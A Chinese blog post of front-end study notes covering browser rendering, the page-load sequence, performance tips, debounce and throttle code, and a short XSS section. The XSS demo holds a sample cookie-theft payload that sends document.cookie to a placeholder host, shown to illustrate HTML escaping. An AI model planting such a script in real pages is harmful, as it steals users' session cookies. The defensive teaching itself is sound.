JS运行环境

史学娇

已于 2023-03-11 11:23:54 修改

阅读量278

点赞数

分类专栏：网络技术文章标签：网络 http 网络协议

于 2023-02-05 10:44:46 首次发布

本文链接：https://blog.csdn.net/weixin_46151381/article/details/128888425

版权

网络技术专栏收录该内容

4 篇文章 0 订阅

订阅专栏

0 浏览器内核

1 网页渲染

1.0 CSS图层

重绘repaint以图层为单位（3D变换/canvas/video/css3动画会创建图层）。属性：外观如背景边框改变

重排（回流）reflow：重绘不一定重排，重排必然重绘。属性：引起位置改变如浮动定位

注：display:none 会触发 reflow，而 visibility:hidden 只会触发 repaint，因为没有发生位置变化。

使用visibility触发重绘；直接使用opacity即触发重绘，又触发重排

优化：将多次改变样式属性的操作合并成一次操作，预先定义好class，然后修改className

利用文档碎片

为动画元素新建图层,提高动画元素的z-index

1.1 加载过程

注意：网络连接是TCP协议（先），传输内容是HTTP协议（后）

从用户输入URl按下回车，一直到用户能看到界面，期间经历了什么？

1.DNS解析（缓存）：将域名解析为IP
2.进行TCP（协议）连接，三次握手

3.浏览器根据IP地址发送请求，得到响应HTML源代码

1.2 渲染过程

4.浏览器开始解析html

--解析html，生成DOM树（img不阻塞DOM，可能有强缓存，此时不必请求）

--解析CSS，生成CSSOM树（css放head：先css后html，否则放body最后先css+html后css渲染重复）

--合并成一个render树

--遇到script标签暂停渲染，优先加载并执行js代码，完成后继续（放body最后）；计算各个DOM的尺寸定位；异步CSS/图片加载可能触发重新渲染

--最终展示界面

5.断开TCP连接，四次挥手（确保数据的完整性）

const img1 = document.getElementById('img1')
img1.onload = function () {
    console.log('img loaded')//2：
}

window.addEventListener('load', function () {
    console.log('window loaded')//3：资源全部加载完才执行，包括图片
})

document.addEventListener('DOMContentLoaded', function () {
    console.log('dom content loaded')//1：DOM渲染完即可执行，图片视频可能未下载
})

1.3 渲染原理

CSS阻塞

style 标签中的样式，由html解析器异步解析，不会阻塞DOM解析

link中引入的样式，由CSS解析器同步解析，不会阻塞DOM解析。因为DOM解析和CSS解析是两个并行的进程。

JS阻塞

阻塞DOM解析和后续js执行。

2 性能优化

2.1 加载更快

减少资源体积：压缩代码，UI库按需打包

减少访问次数：

-合并代码：script文件合并

-SSR服务端渲染：将网页和数据一起加载一起渲染；非SSR是先加载网页，再加载并渲染数据

-缓存，如内容缓存。静态资源加hash后缀；根据文件内容计算hash；文件内容不变，则hash不变，则url不变；url和文件不变，则会自动触发http缓存机制返回304

-更快的网络：CDN节点进行外部资源加速

2.2 渲染更快

CSS放head；懒加载：给一张默认图片，上滑加载更多；路由懒加载

js放body最下面；尽早开始JS执行，用DOMContentLoaded触发

缓存DOM查询；多个DOM操作一起插入DOM结构

节流防抖。

3 节流防抖

防抖：用户输入结束时，才触发change事件；关注结果

节流：拖拽或scroll期间触发某个回调，设置一个时间间隔；关注过程

注意：实际使用lodash

// 防抖
function debounce(fn, delay = 500) {
    // timer 是闭包中的
    let timer = null

    return function () {
        if (timer) {
            clearTimeout(timer)
        }
        timer = setTimeout(() => {
            fn.apply(this, arguments)
            timer = null
        }, delay)
    }
}

input1.addEventListener('keyup', debounce(function (e) {
    console.log(e.target)
    console.log(input1.value)
}, 600))


// 节流
function throttle(fn, delay = 100) {
    let timer = null

    return function () {
        if (timer) {
            return
        }
        timer = setTimeout(() => {
            fn.apply(this, arguments)//argument是为了传e,因为外面包裹了一层函数
            timer = null
        }, delay)
    }
}

div1.addEventListener('drag', throttle(function (e) {
    console.log(e.offsetX, e.offsetY)
}))

4 网络安全

4.1 XSS攻击

攻击者在网页中嵌入script脚本，获取用户cookie，服务器配合跨域

替换特殊字符，<script>变为<script>直接显示，而不会作为脚本执行

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XSS Demo</title>
</head>
<body>
    <p>XSS Demo</p>
    <div id="container">
        <p>123123</p>
        &lt;script&gt;
            var img = document.createElement('image')
            img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
        &lt;/script&gt;
    </div>

    <script>
        const str = `
            <p>123123</p>
            <script>
                var img = document.createElement('image')
                img.src = 'https://xxx.com/api/xxx?cookie=' + document.cookie
            </script>
        `
        const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')
    </script>
</body>
</html>

vue/react自动屏蔽xss，除非按照如下使用